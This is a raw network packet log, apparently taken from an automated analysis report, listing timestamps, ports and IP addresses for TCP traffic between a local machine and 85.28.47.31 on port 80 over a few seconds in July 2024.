Jul 27, 2024 09:25:00.833034039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833034992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833066940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833092928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833101034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833116055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833132982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833149910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833165884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833180904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833198071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833213091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833231926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833246946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833271980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833282948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833304882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833333015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833350897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833384037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833415031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833441973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833460093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833520889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833554983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833570957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833587885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833602905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833621979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833637953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833655119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833668947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833688021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.833702087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.833741903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842082024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842114925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842149019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842161894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842163086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842184067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842194080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842217922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842247963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842266083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842282057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842313051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842330933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842345953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842361927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842394114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842482090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842515945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842540979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842549086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842560053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842581987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842609882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842613935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842629910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842664003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842664003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842699051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842711926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842730999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842746973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842782021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842783928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842817068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842834949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842849970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842865944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842881918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842900038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842933893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842936993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.842967033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.842995882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843014956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843017101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.843049049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.843075991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843081951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.843095064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843115091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.843133926 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843147039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.843162060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843180895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.843195915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843235016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843261003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.843295097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:00.843307018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:00.843348026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:01.115072012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:01.120357037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:01.947463036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:01.947567940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:02.029143095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:02.034307957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:02.733539104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:02.733654022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:03.314045906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:03.321765900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:03.917702913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:03.917903900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.408190966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.413374901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591566086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591594934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591629028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591644049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591660023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591785908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.591785908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.591794968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591815948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591831923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591839075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.591866970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.591883898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591886044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.591938972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.591947079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.591991901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.591996908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.592012882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.592037916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.592048883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.592052937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.592106104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677536964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677607059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677613974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677654982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677695990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677695990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677706003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677742958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677753925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677786112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677793026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677830935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677839994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677864075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677874088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677898884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677916050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677932024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677942038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.677964926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.677978039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678009987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678014994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678061962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678066969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678101063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678113937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678134918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678145885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678165913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678179026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678205013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678209066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678236961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678251028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678271055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678282022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678303003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678320885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678337097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678345919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678369045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678380966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678401947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678411961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678435087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678450108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678468943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.678478956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.678513050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.761888981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.761957884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.761967897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.761995077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762047052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762111902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762142897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762142897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762142897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762161970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762168884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762196064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762212992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762228966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762238026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762274027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762281895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762315035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762327909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762350082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762362957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762394905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762399912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762433052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762439013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762475967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762481928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762516975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762545109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762556076 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762559891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762592077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762600899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762636900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762639999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762674093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762682915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762706995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762718916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762739897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762749910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762772083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762789011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762804985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762818098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762835026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762847900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762854099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762867928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762873888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762883902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762893915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762898922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762908936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762917042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762928963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762940884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762955904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762955904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762957096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762972116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.762980938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.762988091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763001919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763003111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763001919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763020039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763029099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763035059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763044119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763051987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763077021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763077021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763096094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763101101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763117075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763132095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763137102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763153076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763175011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763519049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763571024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763571024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763586044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763622999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763622999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763670921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763686895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763701916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763716936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763721943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763742924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763744116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763761997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763823986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763839960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763854980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.763860941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763892889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.763892889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.845185995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.845254898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.845290899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.845324993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.845362902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.845375061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.845375061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.845375061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.845416069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.845416069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855541945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855577946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855612040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855647087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855679035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855710983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855720997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855720997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855720997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855720997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855721951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855757952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855799913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855833054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855845928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855866909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855881929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855917931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855921030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855954885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.855963945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.855987072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856005907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856020927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856029987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856055021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856064081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856089115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856098890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856122971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856132030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856156111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856163979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856192112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856199026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856235981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856291056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856324911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856343031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.856359005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.856368065 CEST	49704	80	192.168.2.5	85.28.47.31
